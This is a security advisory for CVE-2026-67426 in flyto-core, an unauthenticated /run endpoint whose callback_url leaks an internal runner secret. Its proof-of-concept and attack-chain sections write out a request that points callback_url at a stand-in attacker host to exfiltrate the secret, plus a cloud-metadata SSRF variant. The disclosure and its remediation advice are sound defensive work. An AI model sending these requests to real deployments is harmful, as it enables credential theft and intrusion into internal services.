Summary
Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host, allowing forged authenticated callbacks to the real engine.
Root Cause
src/core/verification_service.py:363-364,/runhas noDepends/auth dependency.resolve_callback_urlreturns the clientcallback_urlverbatim (:315-316).post_callbackattachesX-Internal-Key: $FLYTO_RUNNER_SECRETwhenever the env var is set (:327-335).target_allowedonly gatesparams.target_url(:259), nevercallback_url. Novalidate_url_*anywhere in the file.Dockerfile.verificationCMD =main('0.0.0.0', 8344); entrypointflyto-verificationinpyproject.toml:107→ the shipped image binds all interfaces by default.
Proof of Concept
Code-proven this session (all lines confirmed on v2.26.6):
POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.
Attack Chain
- Entry: unauthenticated
POST http://<host>:8344/runwithcallback_url:"http://attacker.tld/collect". Guard: auth on/run. Bypass proof: noDepends(require_auth)(verification_service.py:363-364); Dockerfile binds all interfaces on port 8344. - Check:
target_allowedscope (:259). Bypass proof: only inspectsparams.target_url;callback_urlis never passed throughextract_host/target_allowed. - Check: SSRF validation on
callback_url. Bypass proof: file has ZEROvalidate_urlreferences. - Sink:
post_callback→session.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET})(:330-335); header attached unconditionally when the env var is set (:327-329). - Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.
Bypass Evidence
/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.
Affected Versions
<= 2.26.6, verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.
Credit
Vulnerability discovered by zx (Jace).
Impact
Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).
A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.
CVE-2026-67426 has a CVSS score of 9.3 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.26.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.
Frequently Asked Questions
- What is CVE-2026-67426? CVE-2026-67426 is a critical-severity missing authentication for critical function vulnerability in flyto-core (pip), affecting versions <= 2.26.6. It is fixed in 2.26.7. A critical operation is accessible without requiring any authentication.
- How severe is CVE-2026-67426? CVE-2026-67426 has a CVSS score of 9.3 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of flyto-core are affected by CVE-2026-67426? flyto-core (pip) versions <= 2.26.6 is affected.
- Is there a fix for CVE-2026-67426? Yes. CVE-2026-67426 is fixed in 2.26.7. Upgrade to this version or later.
- Is CVE-2026-67426 exploitable, and should I be worried? Whether CVE-2026-67426 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-67426 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-67426? Upgrade
flyto-coreto 2.26.7 or later.